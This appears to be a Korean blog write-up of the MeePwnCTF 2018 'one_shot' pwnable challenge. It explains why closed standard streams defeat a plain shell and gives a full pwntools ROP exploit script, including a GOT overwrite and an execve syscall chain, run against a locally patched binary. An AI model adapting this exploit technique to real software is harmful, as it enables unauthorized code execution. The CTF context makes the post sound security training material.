몇일전에 있었던 MeePwnCTF에 나온 one_shot문제이다. 디스어셈블링해보면 프로그램 실행 후 

read함수로 사용자로부터 0x234만큼 받고, stdin, stdout, stderr 모두 close()로 닫아버린다.


이것때문에 평범하게 쉘을 못띄운다 ㅡㅡ; 

그래서 리버스쉘을 사용해야하는데... 나는 그것도 모르고 execve("/bin/sh", 0, 0)을 ROP로 실행시켰는데!!!

왜 쉘이 안띄워지는것이냐!! 하면서 미쳐버리는줄 알았다... 하;



strace로 추적해본 결과... execve("/bin/sh", 0, 0)가 실행되긴한다 ㅡㅡ; 그러나 stdin, stdout이 죽어버렸는데 뭘 할수 있을꼬...


어쨋든 그러한 것이고...

혹시나해서 one_shot파일을 patch하여 stdin,stdout이 닫히지않았을때는 과연 내 payload가 먹히는지 실험해보았다.



0,1,2를 닫게하는게 원래 코드인데, 대충 수정해서 0,1,2는 안닫히게 해보았다.



우왕... 너무 잘되는것... ㅂㄷㅂㄷ


다음 포스팅은 리버스쉘을 사용해서 flag를 획득하는 것을 해보겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
from pwn import *
 
elf = ELF("./one_shot_patch")
conn = process("./one_shot_patch")
 
check = 0x8a919ff0
 
exit_got = 0x601038
alarm_plt = 0x400520 
 
rdi_store_and_plus4 = 0x400665    # mov     [rbp+var_18], rdi
mov_eax = 0x004006f7 # mov eax, dword [rbp-0x0C] ; pop rbx ; pop rbp ; ret  ;  (1 found)
store_bss = 0x40079C #       mov     [rbp-4], eax
 
pop_rbp = 0x00400774
pop_rdi = 0x00400843 #pop rdi ; ret  ;  (1 found)
ret = 0x0040085c
 
ecx_set = 0x04006D8 #   movsx   ecx, [rbp+var_1D]
 
#0x004004ea: add byte [rax-0x7B], cl ; sal byte [rdx+rax-0x01], 0xFFFFFFD0 ; add rsp, 0x08 ; ret  ;  (1 found)
add_raxad = 0x004004ea
 
### check pass & exit@got overwrite => ret
payload =  p32(check)
payload += "\x00"*0x7c + p64(elf.bss()+200+0x18)
payload += p64(pop_rdi)
payload += p64(ret)
payload += p64(rdi_store_and_plus4)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+200+0x0c)
payload += p64(mov_eax)
payload += p64(0xdeadbeef)
payload += p64(exit_got + 0x4)
payload += p64(store_bss)
 
###make syscall
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x18)
payload += p64(pop_rdi)
payload += p64(0x60110e)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x110+0x18)
payload += p64(pop_rdi)
payload += p64(elf.got['read']+0x7B)
payload += p64(rdi_store_and_plus4)
 
payload += p64(pop_rbp)
payload += p64(elf.bss()+0xF0+0x1D)
payload += p64(ecx_set)
payload += p64(0xdeadbeef)
payload += p64(elf.bss()+0x110+0x0c)
payload += p64(mov_eax)
payload += p64(0# ebx
payload += p64(elf.bss()+0x40+0x4#tmp
payload += p64(add_raxad)
payload += p64(0xdeadbeef)
#now close is syscall!
 
binsh00 = "\x2f\x62\x69\x6e\x2f\x73\x68\x00"
 
payload += p64(pop_rdi)
payload += binsh00
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
payload += p64(pop_rbp)
payload += p64(elf.bss()+0x44+0x4)
payload += p64(pop_rdi)
payload += binsh00[4:]+"\x00\x00\x00\x00"
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(store_bss)
 
pop_r12_15 = 0x0040083c #0x0040083c: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
mov_rdx = 0x00400820    #mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
 
payload += p64(pop_rdi)
payload += p64(59)
payload += p64(alarm_plt)
payload += p64(alarm_plt)
payload += p64(pop_rbp)
payload += p64(1)
payload += p64(pop_r12_15)
payload += p64(elf.got['read'])
payload += p64(0)
payload += p64(0)
payload += p64(elf.bss()+0x40)
payload += p64(mov_rdx)
 
log.info("payload_len : %d <= 564" % len(payload))
 
conn.send(payload)
conn.interactive()
cs






 

'Write-up > Pwnable' 카테고리의 다른 글

[Codegate 2014] nuclear  (0) 2018.08.05
[MeePwnCTF 2018] one_shot writeup  (0) 2018.07.26
[RCTF 2017] Recho  (0) 2018.07.10
[Defcon 2016 Quals] feedme  (0) 2018.07.09
[34C3 CTF 2017] readme_revenge  (0) 2018.07.02

+ Recent posts